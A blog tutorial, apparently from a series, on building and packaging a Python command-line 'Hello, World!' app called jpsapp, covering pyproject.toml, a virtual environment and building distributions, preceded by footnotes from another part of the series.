In the next part of this series, we will use the same Release Workflow to create the universally portable versions of the application so that your users do not need a Python environment to use your application.

Footnotes

1. \^ However, even if a contributor has made valuable contributions over years, you may eventually learn that you were the subject of a sophisticated social engineering campaign perpetrated by some larger government or private entity. "XZ Utils backdoor". Wikipedia.com. Retrieved 2024-04-14.
2. \^ "Stack Overflow Developer Survey 2023 - Programming, scripting, and markup languages". stackoverflow.co. Retrieved 2024-04-14.
3. \^ "PyPI Completes First Security Audit". PyPI.org. Retrieved 2024-04-14.
4. \^ "Over 170K Users Affected by Attack Using Fake Python Infrastructure". Checkmarx.com. Retrieved 2024-04-14.

What is a "Universally Portable" app?

A portable, or standalone, application is one that has no install-time or run-time dependencies other than the operating system.¹ It is common to see this kind of application distributed as a compressed archive, such as a .zip or .tar.gz, or as an image, like .bin or .dmg.

A universal application is one that can run on all operating systems and architectures. Here, we use "universal" loosely to mean the three personal computer operating systems that make up over 90% of global market share: Windows (72.13%), MacOS (15.46%), and Linux (4.03%).²

Windows and Linux builds will target the amd64 (x86-64) architecture and MacOS will target Arm64 ("Apple Silicon" M-series Macs). Arm, aarch64 or arm32, builds for Linux would be possible locally but are not available in a GitHub Workflow, yet.

You can test the output of this tutorial by installing the example application, jpsapp, yourself.

Use portable ZIPs or OS installers

GitHub: jpsapp releases page

Install with pipx

pipx install jpsapp
jpsapp --help

The Series

1. This article: build the app locally with build
2. Use a GitHub Release Action to automate distribution to PyPI, the Python Package Index so that Python users can install your app with pip and pipx.
3. Add the universal portable application build to the GitHub Release Action using PyInstaller
4. Add a Windows MSI installer build to the GitHub Release Action using WiX v4
5. Add Linux .deb and .rpm installer builds to the GitHub Release Action using fpm
6. Deploy to the Microsoft Store and winget
7. Deploy to the Mac App Store
8. Deploy to the Debian Archive

The App

This article will focus on the application itself and the tooling to support it.

The app is a command line interface (CLI) that uses the built in argparse module and takes one of three actions:

1. no argument: print "Hello, World!"
2. -i or --input: print "Hello, World!", then "Press any key to exit...". This is used to create a double-clickable version of the application for Windows users
3. -v or --version argument: print package version and exit

Take a look at the source code.

The Repo

The repository, python-distribution-example, can be cloned to your Windows, Linux, or MacOS environment.

The following are excerpts and explanations of the files that are relevant to running the app locally.

Note: tooling and dependencies are intentionally kept to a minimum in this example repository. A more complicated app that has more dependencies will benefit from the usage of tools that help to resolve dependencies and manage environments. Unfortunately, there is no easy recommendation to make.

I suggest reading Anna-Lena Popkes' article, An unbiased evaluation of environment management and packaging tools, to help you to form an opinion about what tooling is best for your application.

This repository demonstrates a highly compatible pyproject.toml that readers can easily adapt to their choice of tooling.

jpsapp/

This is the Python module itself and contains all of the source code for the application.

• __main__.py: support running as a module - python -m jpsapp
• main.py: the app described above

envr-default

This file defines the shell environment for common shells like bash, zsh, and PowerShell on Windows, MacOS, and Linux. The environment is activated by calling . ./envr.ps1

[PROJECT_OPTIONS]
PROJECT_NAME=jpsapp
PYTHON_VENV=.venv

pyproject.toml

PEP 621 introduced the pyproject.toml standard for declaring common metadata, replacing the need for requirements.txt and most other configuration files.

[build-system]
requires = [
    "setuptools>=70.0",
]
build-backend = "setuptools.build_meta"

[project]
name = "jpsapp"
version = "1.1.6"
description = "An example of Python application distribution."
authors = [
    { name = "JP Hutchins", email = "jphutchins@gmail.com" },
]
readme = "README.md"
license = { file = "LICENSE" }
requires-python = ">=3.8"
classifiers = [
    "Development Status :: 4 - Beta",
    "Intended Audience :: Developers",
    "Topic :: Software Development :: Build Tools",
]

dependencies = [
    # Add your project dependencies here
]

[project.optional-dependencies]
dev = [
    "build>=1.2.1,<2",
    "pyinstaller>=6.4.0,<7",
    "pyinstaller-versionfile>=2.1.1,<3",
]

[project.scripts]
jpsapp = "jpsapp.main:app"

[project.urls]
Homepage = "https://dev.to/jphutchins/building-a-universally-portable-python-app-2gng"
Repository = "https://github.com/JPhutchins/python-distribution-example.git"

[tool.setuptools]
packages = ["jpsapp"]
include-package-data = true

For a detailed explanation of the pyproject.toml, refer to the Python Packaging User Guide. Here are a few interesting features of our example configuration.

version = "1.1.6" will version the python package and the eventual app. This line in the configuration is the Single Source Of Truth for the version. There are many tools available to establish a Git tag as the SSOT, if you prefer.

packages = ["jpsapp"] declares that jpsapp is the only module we are packaging. This allows more Python modules to be added to the root of the repository, such as the tooling in the distrubution folder, that we wouldn't want to package for distribution.

jpsapp = "jpsapp.main:app" declares that the command jpsapp will execute the app function from jpsapp.main.

Dependencies

Python

If you have Python >=3.8 go ahead and use that. If not, install the most recent Python release for your system. There are many ways to do so, but I'll briefly offer my opinion:

• Windows: use the Microsoft Store or winget and take advantage of "App Execution Aliases". Whatever you do, make sure that both python and python3 call the Python you want, none of this py nonsense!
• Linux: use your package manager, and maybe deadsnakes if you're on Ubuntu since they don't keep their Python packages current.

Build the App

Now that you have cloned the repository and installed the dependencies, you can build and run the application.

• python3 -m venv .venv: on this first run it will create the venv at .venv
  • If python3 is not an alias to the version of Python 3 you'd like to use then update the command accordingly, e.g. python -m venv .venv.
• . ./envr.ps1: activate the development environment
• pip install --require-virtualenv -e .[dev]: install the development dependencies

And that's it! jpsapp should print "Hello, World!". Keep in mind that you can get the same execution with python -m jpsapp, python -m jpsapp.main, or python jpsapp/main.py, etc.

To build the Python package distributions, simply run python -m build. The Python .whl and .tar.gz packages will be built at dist/, e.g. dist/jpsapp-1.0.0.tar.gz.

In the next part of this series, we will use a GitHub Workflow to release the package distribution to the PyPI so that other users can install your app with pipx!

Footnotes

1. \^ "Portable application". Wikipedia.com. Retrieved 2024-03-11.
2. \^ "OS Market Share". GS.Statcounter.com. Retrieved 2024-03-11.

Change History

• 2024-04-14: change myapp -> yourapp
• 2024-04-18: change yourapp -> jpsapp
• 2024-06-08: remove poetry; update pyproject.toml; update steps